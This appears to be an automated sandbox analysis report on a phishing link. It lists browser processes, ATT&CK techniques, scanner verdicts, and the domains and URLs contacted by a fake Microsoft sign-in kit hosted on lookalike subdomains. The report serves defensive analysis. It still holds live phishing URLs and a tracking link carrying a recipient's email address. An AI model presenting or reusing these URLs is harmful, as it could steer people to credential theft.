Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2200 --field-trial-handle=2008,i,16803173520090594236,16514680076727720754,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://webservice.ucampaign.unear.net/UmailTracking/t.aspx?p=64620006&c=MTI2NjMxOA==&up=46435316&e=jlim@vvblawyers.com&l=MTczODQ=&i=1126&u=aHR0cHM6Ly9zcGhleGFtcy5jb20vLndlbGwta25vdy8/MHM1N2RiPU1UTW1NVE1tTVRNbU1UTW1RakVtUmpRbWIySnhkRWN6SmtRMEprMTFiSGR5VkdoSGVVdFpMaTQ1U2pOWU5sSnlhbVk2Y2tZMEpqTXpKblY1Wm5VdWIyWmxaV3BwTXpNbVJUUW1kSFJpYldReE15WnZZbkYwUkRRbVFqRW1SalFtYlc1MWFVY3pKa1EwSmtJeEprWTBKbnBsY0dOSE15WkVOQ1pDTVNaR05DWjZaWEJqUkRRbVFqRW1SalFtWldKbWFVY3pKa1EwSmtJeEprWTBKbVp0ZW5WMFJ6TW1SRFFtTVRNbU1UTW1NVE1tTVRNbVFqRW1SVGdtTVRNbU1UTW1NVE1tTVRNbU1UTW1NVE1tTVRNbU1UTW1RakVtUXpRbWIyWmxaV3BwTVRNbVFqUW1lblZxYldwamFuUnFkekV6SmpFekpqRXpKakV6SmpFekpqRXpKakV6SmpFekpqRXpKakV6SmpFekpqRXpKa0l4SmtNMEptWjFhbWw0TVRNbVFqUW1jM0J0Y0dReE15WXhNeVl4TXlZeE15WXhNeVl4TXlZeE15WXhNeVl4TXlZeE15WXhNeVl4TXlaQ01TWkRPQ1l4TXlaMWVXWjFMbTltWldWcWFTOHhNeVl4TXlZeE15WXhNeVl4TXlZeE15WXhNeVl4TXlaQ01TWkdOQ1ptYlhwMWRFUTBKakV6SmpFekpqRXpKakV6SmtJeEprWTBKbVp0ZFdwMVJ6TW1SRFFtWm01d1NVWTBKbVp0ZFdwMVJEUW1NVE1tTVRNbU1UTW1NVE1tUWpFbVJ6TW1LekV6Sm1aek1UTW1aV1ZpTVRNbVJUUW1SVFFtUlRRbVJUUW1SVFFtUlRRbVJEUW1NVE1tSzBjekpqRXpKakV6SmtZMEpqTXpKa1UwSmpFelkyczJSR054UjFoamIwTkdaWHRYU0dWemVtZHNkSHBtYVdkdWMydGxhVFF6SmtjekptWnpSek1tWldSSE15WjRjRzlzTG0xdFpuZ3ZSek1tYUhOd0wyWnRZbTl3YW50aWIzTm1kVzlxYjJadVlrY3pKa2N6SmtJMEpuUnhkWFZwUlRRbWJYTjJRelFtTXpNekprVTBKblZ2Wm5WdmNHUXhNeVl6TXlacGRHWnpaMlp6TXpNbVJUUW1kMnAyY21ZdWNYVjFhVEV6Sm1KMVptNUVOQ1l4TXlZeE15WXhNeVl4TXlaQ01TWkdOQ1l6TXlZNUxrZFZWak16SmtVMEpuVm1kSE5pYVdReE15WmlkV1p1UkRRbU1UTW1NVE1tTVRNbU1UTW1RakVtUmpRbVpXSm1hVVEwSmtJeEprWTBKbTF1ZFdsRU5DWkNNU1pHTkNadlluRjBSek1tUkRRbVpHczNhRnBXUkRRbWRIczFUVVUwSmt4WWJYZ3hUMUZuWkZoUVdYTjdOWGRIT1h0UlJUWW1RMDlHTkNZek15WjFlV1oxTG05bVpXVnFhVE16SmtVMEpuUjBZbTFrTVRNbWIySnhkRVEwSmtJeEpnPT0="
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2200 --field-trial-handle=2008,i,16803173520090594236,16514680076727720754,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Drive-by Compromise	Windows Management Instrumentation	2 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://webservice.ucampaign.unear.net/UmailTracking/t.aspx?p=64620006&c=MTI2NjMxOA==&up=46435316&e=jlim@vvblawyers.com&l=MTczODQ=&i=1126&u=aHR0cHM6Ly9zcGhleGFtcy5jb20vLndlbGwta25vdy8/MHM1N2RiPU1UTW1NVE1tTVRNbU1UTW1RakVtUmpRbWIySnhkRWN6SmtRMEprMTFiSGR5VkdoSGVVdFpMaTQ1U2pOWU5sSnlhbVk2Y2tZMEpqTXpKblY1Wm5VdWIyWmxaV3BwTXpNbVJUUW1kSFJpYldReE15WnZZbkYwUkRRbVFqRW1SalFtYlc1MWFVY3pKa1EwSmtJeEprWTBKbnBsY0dOSE15WkVOQ1pDTVNaR05DWjZaWEJqUkRRbVFqRW1SalFtWldKbWFVY3pKa1EwSmtJeEprWTBKbVp0ZW5WMFJ6TW1SRFFtTVRNbU1UTW1NVE1tTVRNbVFqRW1SVGdtTVRNbU1UTW1NVE1tTVRNbU1UTW1NVE1tTVRNbU1UTW1RakVtUXpRbWIyWmxaV3BwTVRNbVFqUW1lblZxYldwamFuUnFkekV6SmpFekpqRXpKakV6SmpFekpqRXpKakV6SmpFekpqRXpKakV6SmpFekpqRXpKa0l4SmtNMEptWjFhbWw0TVRNbVFqUW1jM0J0Y0dReE15WXhNeVl4TXlZeE15WXhNeVl4TXlZeE15WXhNeVl4TXlZeE15WXhNeVl4TXlaQ01TWkRPQ1l4TXlaMWVXWjFMbTltWldWcWFTOHhNeVl4TXlZeE15WXhNeVl4TXlZeE15WXhNeVl4TXlaQ01TWkdOQ1ptYlhwMWRFUTBKakV6SmpFekpqRXpKakV6SmtJeEprWTBKbVp0ZFdwMVJ6TW1SRFFtWm01d1NVWTBKbVp0ZFdwMVJEUW1NVE1tTVRNbU1UTW1NVE1tUWpFbVJ6TW1LekV6Sm1aek1UTW1aV1ZpTVRNbVJUUW1SVFFtUlRRbVJUUW1SVFFtUlRRbVJEUW1NVE1tSzBjekpqRXpKakV6SmtZMEpqTXpKa1UwSmpFelkyczJSR054UjFoamIwTkdaWHRYU0dWemVtZHNkSHBtYVdkdWMydGxhVFF6SmtjekptWnpSek1tWldSSE15WjRjRzlzTG0xdFpuZ3ZSek1tYUhOd0wyWnRZbTl3YW50aWIzTm1kVzlxYjJadVlrY3pKa2N6SmtJMEpuUnhkWFZwUlRRbWJYTjJRelFtTXpNekprVTBKblZ2Wm5WdmNHUXhNeVl6TXlacGRHWnpaMlp6TXpNbVJUUW1kMnAyY21ZdWNYVjFhVEV6Sm1KMVptNUVOQ1l4TXlZeE15WXhNeVl4TXlaQ01TWkdOQ1l6TXlZNUxrZFZWak16SmtVMEpuVm1kSE5pYVdReE15WmlkV1p1UkRRbU1UTW1NVE1tTVRNbU1UTW1RakVtUmpRbVpXSm1hVVEwSmtJeEprWTBKbTF1ZFdsRU5DWkNNU1pHTkNadlluRjBSek1tUkRRbVpHczNhRnBXUkRRbWRIczFUVVUwSmt4WWJYZ3hUMUZuWkZoUVdYTjdOWGRIT1h0UlJUWW1RMDlHTkNZek15WjFlV1oxTG05bVpXVnFhVE16SmtVMEpuUjBZbTFrTVRNbWIySnhkRVEwSmtJeEpnPT0=	0%	Avira URL Cloud	safe
https://webservice.ucampaign.unear.net/UmailTracking/t.aspx?p=64620006&c=MTI2NjMxOA==&up=46435316&e=jlim@vvblawyers.com&l=MTczODQ=&i=1126&u=aHR0cHM6Ly9zcGhleGFtcy5jb20vLndlbGwta25vdy8/MHM1N2RiPU1UTW1NVE1tTVRNbU1UTW1RakVtUmpRbWIySnhkRWN6SmtRMEprMTFiSGR5VkdoSGVVdFpMaTQ1U2pOWU5sSnlhbVk2Y2tZMEpqTXpKblY1Wm5VdWIyWmxaV3BwTXpNbVJUUW1kSFJpYldReE15WnZZbkYwUkRRbVFqRW1SalFtYlc1MWFVY3pKa1EwSmtJeEprWTBKbnBsY0dOSE15WkVOQ1pDTVNaR05DWjZaWEJqUkRRbVFqRW1SalFtWldKbWFVY3pKa1EwSmtJeEprWTBKbVp0ZW5WMFJ6TW1SRFFtTVRNbU1UTW1NVE1tTVRNbVFqRW1SVGdtTVRNbU1UTW1NVE1tTVRNbU1UTW1NVE1tTVRNbU1UTW1RakVtUXpRbWIyWmxaV3BwTVRNbVFqUW1lblZxYldwamFuUnFkekV6SmpFekpqRXpKakV6SmpFekpqRXpKakV6SmpFekpqRXpKakV6SmpFekpqRXpKa0l4SmtNMEptWjFhbWw0TVRNbVFqUW1jM0J0Y0dReE15WXhNeVl4TXlZeE15WXhNeVl4TXlZeE15WXhNeVl4TXlZeE15WXhNeVl4TXlaQ01TWkRPQ1l4TXlaMWVXWjFMbTltWldWcWFTOHhNeVl4TXlZeE15WXhNeVl4TXlZeE15WXhNeVl4TXlaQ01TWkdOQ1ptYlhwMWRFUTBKakV6SmpFekpqRXpKakV6SmtJeEprWTBKbVp0ZFdwMVJ6TW1SRFFtWm01d1NVWTBKbVp0ZFdwMVJEUW1NVE1tTVRNbU1UTW1NVE1tUWpFbVJ6TW1LekV6Sm1aek1UTW1aV1ZpTVRNbVJUUW1SVFFtUlRRbVJUUW1SVFFtUlRRbVJEUW1NVE1tSzBjekpqRXpKakV6SmtZMEpqTXpKa1UwSmpFelkyczJSR054UjFoamIwTkdaWHRYU0dWemVtZHNkSHBtYVdkdWMydGxhVFF6SmtjekptWnpSek1tWldSSE15WjRjRzlzTG0xdFpuZ3ZSek1tYUhOd0wyWnRZbTl3YW50aWIzTm1kVzlxYjJadVlrY3pKa2N6SmtJMEpuUnhkWFZwUlRRbWJYTjJRelFtTXpNekprVTBKblZ2Wm5WdmNHUXhNeVl6TXlacGRHWnpaMlp6TXpNbVJUUW1kMnAyY21ZdWNYVjFhVEV6Sm1KMVptNUVOQ1l4TXlZeE15WXhNeVl4TXlaQ01TWkdOQ1l6TXlZNUxrZFZWak16SmtVMEpuVm1kSE5pYVdReE15WmlkV1p1UkRRbU1UTW1NVE1tTVRNbU1UTW1RakVtUmpRbVpXSm1hVVEwSmtJeEprWTBKbTF1ZFdsRU5DWkNNU1pHTkNadlluRjBSek1tUkRRbVpHczNhRnBXUkRRbWRIczFUVVUwSmt4WWJYZ3hUMUZuWkZoUVdYTjdOWGRIT1h0UlJUWW1RMDlHTkNZek15WjFlV1oxTG05bVpXVnFhVE16SmtVMEpuUjBZbTFrTVRNbWIySnhkRVEwSmtJeEpnPT0=	100%	SlashNext	Credential Stealing type: Phishing & Social Engineering

Source	Detection	Scanner	Label
https://cd092d4c-0e591a27.myconm.com/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico	0%	Avira URL Cloud	safe
https://cd092d4c-0e591a27.myconm.com/shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg	0%	Avira URL Cloud	safe
https://l1ve.myconm.com/0e591a278ea443c18aa44fdb64cfa07a/	0%	Avira URL Cloud	safe
https://cd092d4c-0e591a27.myconm.com/shared/1.0/content/js/ConvergedLogin_PCore_i5YupurhQAo9inu_OetqHw2.js	0%	Avira URL Cloud	safe
https://cd092d4c-0e591a27.myconm.com/shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif	0%	Avira URL Cloud	safe
https://ameninternazionale.org/.well-know/cd/re/	0%	Avira URL Cloud	safe
https://cd092d4c-0e591a27.myconm.com/shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_117b650bccea354984d8.js	0%	Avira URL Cloud	safe
https://32eb4ebc-0e591a27.myconm.com/shared/5/images/2_bc3d32a696895f78c19d.svg	0%	Avira URL Cloud	safe
https://ameninternazionale.org/.well-know/cd/re/sts.php	0%	Avira URL Cloud	safe
https://l1ve.myconm.com/Me.htm?v=3	0%	Avira URL Cloud	safe
https://32eb4ebc-0e591a27.myconm.com/shared/5/chunks/oneds-analytics-js_077217740c853b5d4fe8.js	0%	Avira URL Cloud	safe
https://aa45faf7-0e591a27.myconm.com/Prefetch/Prefetch.aspx	0%	Avira URL Cloud	safe
https://offcap.myconm.com/0e591a278ea443c18aa44fdb64cfa07a/	0%	Avira URL Cloud	safe
https://offcap.myconm.com/common/GetCredentialType?mkt=en-US	0%	Avira URL Cloud	safe
https://32eb4ebc-0e591a27.myconm.com/shared/5/images/microsoft_logo_ee5c8d9fb6248c938fd0.svg	0%	Avira URL Cloud	safe
https://sphexams.com/favicon.ico	0%	Avira URL Cloud	safe
https://cd092d4c-0e591a27.myconm.com/shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js	0%	Avira URL Cloud	safe
https://cd092d4c-0e591a27.myconm.com/shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg	0%	Avira URL Cloud	safe
https://cd092d4c-0e591a27.myconm.com/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg	0%	Avira URL Cloud	safe
https://ameninternazionale.org/.well-know/cd/re/rdrct.php?code=hdjrmfheyskfyrdGVzdEBnbWFpbC5jb20%3D	0%	Avira URL Cloud	safe
https://cd092d4c-0e591a27.myconm.com/shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif	0%	Avira URL Cloud	safe
https://offcap.myconm.com/?	0%	Avira URL Cloud	safe
https://cd092d4c-0e591a27.myconm.com/ests/2.1/content/cdnbundles/converged.v2.login.min_81imvbluez-v5hbzpkxfcg2.css	0%	Avira URL Cloud	safe
https://offcap.myconm.com/favicon.ico	0%	Avira URL Cloud	safe
https://cd092d4c-0e591a27.myconm.com/shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_4285088f1dbaf52a876d.js	0%	Avira URL Cloud	safe
https://6d700e25-0e591a27.myconm.com/shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js	0%	Avira URL Cloud	safe
https://b4cef784-0e591a27.myconm.com/?session_id=970e892d5314442cb6158e07d409df4c&CustomerId=33e01921-4d64-4f8c-a055-5bdaffd5e33d&PageId=SI	0%	Avira URL Cloud	safe
https://32eb4ebc-0e591a27.myconm.com/shared/5/js/login_en_GZu1H3AHaJ0ROCr2BSwwfw2.js	0%	Avira URL Cloud	safe
https://cd092d4c-0e591a27.myconm.com/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_i8f-75gfk3tbsm8bmatnqa2.js	0%	Avira URL Cloud	safe
https://f3b9289a-0e591a27.myconm.com/OneCollector/1.0/?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.6&apikey=b0c252808e614e949086e019ae1cb300-e0c02060-e3b3-4965-bd7c-415e1a7a9fde-6951&upload-time=1733766191542&time-delta-to-apply-millis=use-collector-delta&w=0&NoResponseBody=true	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
aa45faf7-0e591a27.myconm.com	164.92.188.247	true	true	unknown
cd092d4c-0e591a27.myconm.com	164.92.188.247	true	false	high
af608318-0e591a27.myconm.com	164.92.188.247	true	true	unknown
26e0e80c-0e591a27.myconm.com	164.92.188.247	true	true	unknown
b4cef784-0e591a27.myconm.com	164.92.188.247	true	true	unknown
offcap.myconm.com	164.92.188.247	true	false	high
images.freeimages.com	18.165.220.47	true	false	high
l1ve.myconm.com	164.92.188.247	true	true	unknown
6d700e25-0e591a27.myconm.com	164.92.188.247	true	false	high
4e1fa428-0e591a27.myconm.com	164.92.188.247	true	true	unknown
3c5f129b-0e591a27.myconm.com	164.92.188.247	true	true	unknown
6ef77b17-0e591a27.myconm.com	164.92.188.247	true	true	unknown
webservice.ucampaign.unear.net	52.200.208.143	true	false	high
findicons.com	18.66.161.55	true	false	high
0fa96f3e-0e591a27.myconm.com	164.92.188.247	true	true	unknown
cdnjs.cloudflare.com	104.17.25.14	true	false	high
challenges.cloudflare.com	104.18.94.41	true	false	high
32eb4ebc-0e591a27.myconm.com	164.92.188.247	true	true	unknown
ameninternazionale.org	192.185.25.241	true	false	high
c6b0c7df-0e591a27.myconm.com	164.92.188.247	true	true	unknown
sphexams.com	104.21.34.58	true	false	high
www.google.com	172.217.21.36	true	false	high
f3b9289a-0e591a27.myconm.com	164.92.188.247	true	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://cd092d4c-0e591a27.myconm.com/shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif	true	Avira URL Cloud: safe	unknown
https://cd092d4c-0e591a27.myconm.com/shared/1.0/content/js/ConvergedLogin_PCore_i5YupurhQAo9inu_OetqHw2.js	true	Avira URL Cloud: safe	unknown
https://ameninternazionale.org/.well-know/cd/re/sts.php	false	Avira URL Cloud: safe	unknown
https://cd092d4c-0e591a27.myconm.com/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico	true	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/pat/8ef6c96199b00fa1/1733766097531/3c1556456805cec06261fea5cd49ae21a31f255a700692ea9b772b9bb1cf13d6/hRGKLkag-0o1Umn	false		high
https://32eb4ebc-0e591a27.myconm.com/shared/5/images/2_bc3d32a696895f78c19d.svg	true	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/flow/ov1/1217350448:1733764300:zvHUnKjOCxwAgch-M913R2tM8mD1gJ3EVo_4ePpgicY/8ef6c96199b00fa1/2axRlM8K45EWtO8TzXqLTkRi3Arai34899td5._XtdE-1733766093-1.1.1.1-OdzvnEQ8SyL0GCsJS1G2sdj0PQ3PjMMmAQr2GdyUfGyLh3H5W0rTPAiNuAP_i4g0	false		high
https://cd092d4c-0e591a27.myconm.com/shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_117b650bccea354984d8.js	true	Avira URL Cloud: safe	unknown
https://ameninternazionale.org/.well-know/cd/re/	true	Avira URL Cloud: safe	unknown
https://l1ve.myconm.com/0e591a278ea443c18aa44fdb64cfa07a/	true	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/turnstile/v0/g/f9063374b04d/api.js	false		high
https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.1/jquery.min.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8ef6c96199b00fa1&lang=auto	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/flow/ov1/229150693:1733764372:1Vm_HqExEuCYrHrKbLx421CcUDMOvlx4T7bCqGuy2i4/8ef6ca8f8eb542b2/r3GJ4_A152EC8qp39ln_Z9EC_KemNmwazh6UB0lpyxE-1733766141-1.1.1.1-nQxGVFeYLVUC.NVgYp4gG1F7O_IhbWZmZV82zspKiHyXomE6Mct38w1.jXhk_pFw	false		high
https://l1ve.myconm.com/Me.htm?v=3	true	Avira URL Cloud: safe	unknown
https://cd092d4c-0e591a27.myconm.com/shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg	true	Avira URL Cloud: safe	unknown
https://32eb4ebc-0e591a27.myconm.com/shared/5/chunks/oneds-analytics-js_077217740c853b5d4fe8.js	true	Avira URL Cloud: safe	unknown
https://cd092d4c-0e591a27.myconm.com/shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js	true	Avira URL Cloud: safe	unknown
https://aa45faf7-0e591a27.myconm.com/Prefetch/Prefetch.aspx	true	Avira URL Cloud: safe	unknown
https://findicons.com/files/icons/2796/metro_uinvert_dock/64/microsoft_new_logo_alt.png	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/i/8ef6ca8f8eb542b2/1733766145528/q8Z6Lw0ZA8dnFtz	false		high
https://challenges.cloudflare.com/turnstile/v0/api.js?compat=recaptcha	false		high
https://l1ve.myconm.com/oauth20_authorize.srf?scope=openid+profile+email+offline_access&response_type=code&client_id=51483342-085c-4d86-bf88-cf50c7252078&response_mode=form_post&redirect_uri=https%3a%2f%2foffcap.myconm.com%2fcommon%2ffederation%2foauth2msa&state=rQQIARAA42Kw0skoKSkottLXL8gvKknM0cvNTC7KL85PK8nPy8nMS9VLzs_Vyy9Kz0wBsYqEuAR0O_mmiwTruGwT7WO_wnnfZxYjZ3xOZhlY5SpGZcLG6V9gZHzByHiLSdC_KN0zJbzYLTUltSixJDM_7wKLwCsWHgNmKw4OLgEGCQYFhh8sjItYgbbuUfB67en-xXtHTcrSa9e1GU6x6hc6FfiHZ0WkGWqb-ZpkmZmaeGaWFnsUZkREuGsbGJmVpzim-Pl6mpsmmuTbGloZTmATmsDGdIqN4QMbYwc7wyx2hgOcjBt4GA_wMvzgu9Nxe3Ff_7F3Hq_4dcLzAnJcozwMPQuSzd1NLHycip0zkw3Logpd3ar8k5Nz3EuSc119vKtysn1tNwgwPBBgAAA1&estsfed=1&uaid=970e892d5314442cb6158e07d409df4c&fci=https%3a%2f%2f6468e4d8-0e591a27.myconm.com&username=bob%40outlook.com&login_hint=bob%40outlook.com	false		unknown
https://offcap.myconm.com/common/GetCredentialType?mkt=en-US	true	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/pat/8ef6ca8f8eb542b2/1733766145524/089324410dbdf74386b787908899f8f848ed1d8d89bb6b3e56936f9ce32c8be9/UDLw0pNuMHcnTL9	false		high
https://cd092d4c-0e591a27.myconm.com/shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg	true	Avira URL Cloud: safe	unknown
https://cd092d4c-0e591a27.myconm.com/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg	true	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8ef6ca8f8eb542b2&lang=auto	false		high
https://images.freeimages.com/fic/images/icons/2796/metro_uinvert_dock/64/microsoft_new_logo_alt.png?ref=findicons	false		high
https://offcap.myconm.com/?qe=3RVg	true		unknown
https://sphexams.com/favicon.ico	false	Avira URL Cloud: safe	unknown
https://32eb4ebc-0e591a27.myconm.com/shared/5/images/microsoft_logo_ee5c8d9fb6248c938fd0.svg	true	Avira URL Cloud: safe	unknown
https://offcap.myconm.com/0e591a278ea443c18aa44fdb64cfa07a/	true	Avira URL Cloud: safe	unknown
https://ameninternazionale.org/.well-know/cd/re/#hdjrmfheyskfyrdGVzdEBnbWFpbC5jb20=	true		unknown
https://challenges.cloudflare.com/turnstile/v0/api.js	false		high
https://ameninternazionale.org/.well-know/cd/re/rdrct.php?code=hdjrmfheyskfyrdGVzdEBnbWFpbC5jb20%3D	false	Avira URL Cloud: safe	unknown
https://cd092d4c-0e591a27.myconm.com/shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif	true	Avira URL Cloud: safe	unknown
https://offcap.myconm.com/?	true	Avira URL Cloud: safe	unknown
https://32eb4ebc-0e591a27.myconm.com/shared/5/js/login_en_GZu1H3AHaJ0ROCr2BSwwfw2.js	true	Avira URL Cloud: safe	unknown
https://offcap.myconm.com/favicon.ico	true	Avira URL Cloud: safe	unknown
https://cd092d4c-0e591a27.myconm.com/ests/2.1/content/cdnbundles/converged.v2.login.min_81imvbluez-v5hbzpkxfcg2.css	true	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/i/8ef6c997a86442ad/1733766106030/5ym9Qb7hUPt95Jw	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/xb30u/0x4AAAAAAAz81HM6AHANCtc4/auto/fbE/normal/auto/	false		high
